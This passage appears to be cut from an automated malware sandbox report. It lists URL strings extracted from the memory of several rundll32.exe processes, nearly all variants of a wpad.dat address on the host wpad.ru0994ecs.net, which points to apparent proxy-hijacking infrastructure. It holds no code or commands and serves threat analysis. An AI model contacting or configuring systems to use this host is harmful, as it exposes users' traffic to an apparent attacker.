rundll32.exe, 00000003.00000003.2198421191.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906497507.00000000026BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999647591.00000000026BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1932310717.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906359698.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/P
Source: rundll32.exe, 00000004.00000003.1831103148.000000000309A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3063237477.0000000003096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/R
Source: rundll32.exe, 00000003.00000003.2660590828.00000000026BD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/T
Source: rundll32.exe, 00000004.00000003.2820274116.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2866589228.0000000003096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/Z
Source: rundll32.exe, 00000003.00000003.2051678434.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2114553817.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2673175788.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2005539819.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2057774645.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/d
Source: rundll32.exe, 00000003.00000002.3515545940.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3488651887.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3445890801.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3482061788.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3409796147.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/hKh
Source: rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1981256882.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1832583206.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1838595869.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1864438428.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1796170581.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2051678434.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999420548.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1749913253.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2198421191.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906497507.00000000026BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999647591.00000000026BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1932310717.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906359698.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2114553817.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2005539819.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2224167350.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2250679815.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2057774645.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/l
Source: rundll32.exe, 00000004.00000003.1898998200.00000000030BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/les_AutoUpdate_1
Source: rundll32.exe, 00000003.00000003.1981256882.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1703416363.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1832583206.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1838595869.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1864438428.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1796170581.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2051678434.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999420548.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1749913253.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906497507.00000000026BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999647591.00000000026BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1932310717.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906359698.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2005539819.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2025131776.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1961640759.0000000002CE6000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2061544445.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2113304159.0000000002D0C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1999305434.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2077555864.0000000002D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/p
Source: rundll32.exe, 00000004.00000003.2866589228.0000000003096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/pad.dat
Source: rundll32.exe, 00000005.00000003.3083721235.0000000002D0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/soft
Source: rundll32.exe, 00000003.00000003.2607983377.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/t
Source: rundll32.exe, 00000004.00000003.3335837170.0000000003096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/w
Source: rundll32.exe, 00000003.00000003.2490132601.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2660590828.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3113522873.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1981256882.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1703416363.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2666822258.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1832583206.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3205871358.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3205871358.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.3515545940.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3077508164.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3260916225.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1838595869.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1864438428.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1796170581.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3224017782.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3488651887.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat
Source: rundll32.exe, 00000004.00000003.2984958268.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2052370099.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2162023507.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2198397670.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3382273228.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2302804486.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2463349949.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3037365252.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3289915691.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2441058430.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3063237477.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3191130293.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1930709049.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2006184425.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2489703699.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3335837170.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3197143218.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2224622245.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3460046370.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2514383053.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2058396910.0000000003096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat2
Source: rundll32.exe, 00000003.00000003.1796170581.00000000026A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat4ecs.net/wpad.dat
Source: rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3113522873.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2666822258.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3205871358.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3077508164.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3260916225.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2051678434.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2441322143.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3363949383.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2405314352.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999420548.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2349288767.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2490132601.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2266738274.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2198421191.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3482061788.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1906359698.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2114553817.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2302892655.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat7abw
Source: rundll32.exe, 00000003.00000003.1838595869.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3478687704.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3314356379.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3515524508.0000000002CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat=
Source: rundll32.exe, 00000003.00000003.2490132601.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3113522873.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1703416363.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3205871358.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1749913253.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3445890801.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3482061788.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2114553817.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3051591220.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3409796147.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2666822258.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2821546858.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datC
Source: rundll32.exe, 00000004.00000003.1898998200.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2463444016.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2463349949.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3197143218.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2224622245.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3135111633.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2267145559.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3233371202.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1836609612.000000000309A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2912623456.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2717319006.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3021337022.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2671081383.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1702420363.000000000309A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datM
Source: rundll32.exe, 00000005.00000003.1842350340.0000000002CEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datU
Source: rundll32.exe, 00000004.00000003.1831103148.000000000309A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1794713226.000000000309A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datY
Source: rundll32.exe, 00000003.00000003.1832583206.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3260916225.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1838595869.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1796170581.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2349288767.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2997900601.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2561296968.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.dat_
Source: rundll32.exe, 00000005.00000003.2520892621.0000000002CE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.data
Source: rundll32.exe, 00000004.00000003.2984958268.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3382273228.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2489783271.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2302804486.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2162530364.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3037365252.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3289915691.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2058522410.00000000030BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2441058430.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2820274116.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3063237477.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2006184425.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1977367907.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3191130293.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2561258595.00000000030BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2489703699.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2114327635.00000000030BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1748223407.000000000309A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3335837170.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2052370099.00000000030BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1794713226.000000000309A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datc
Source: rundll32.exe, 00000004.00000002.3515675465.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3289915691.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2820274116.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3191130293.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2006184425.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2224622245.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3135111633.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2058396910.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2267145559.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2664640600.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2348536837.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2717319006.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3506254990.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2457095509.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2866589228.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2250965364.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3417959712.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2659020307.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1905348497.0000000003096000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datl
Source: rundll32.exe, 00000004.00000002.3515436258.000000000306C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datm
Source: rundll32.exe, 00000004.00000003.2984958268.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2607141649.00000000030BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3382273228.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1831103148.000000000309A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2489783271.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1898998200.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000002.3515675465.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2463444016.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2302804486.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2463349949.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2162530364.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3037365252.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3289915691.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2058522410.00000000030BC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2441058430.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2820274116.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3063237477.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2006184425.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.1977367907.00000000030BB000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.3191130293.0000000003096000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.2561258595.00000000030BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datn
Source: rundll32.exe, 00000005.00000003.1785797407.0000000002CEC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1842350340.0000000002CEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datq
Source: rundll32.exe, 00000003.00000003.2490132601.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2660590828.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3113522873.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1981256882.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1703416363.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1832583206.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3205871358.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.3515545940.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3077508164.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3260916225.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1838595869.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1864438428.00000000026BD000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1796170581.00000000026A0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3224017782.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3488651887.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2925925392.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2051678434.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2441322143.000000000269C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datr
Source: rundll32.exe, 00000004.00000003.1836609612.000000000309A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/wpad.datu
Source: rundll32.exe, 00000003.00000003.2162033052.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3113522873.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3317534971.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2666822258.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3205871358.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.3515545940.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3260916225.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1900425076.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3224017782.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3488651887.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2925925392.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2051678434.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2441322143.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.3363949383.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2463624537.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.1999420548.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.2349288767.000000000269C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 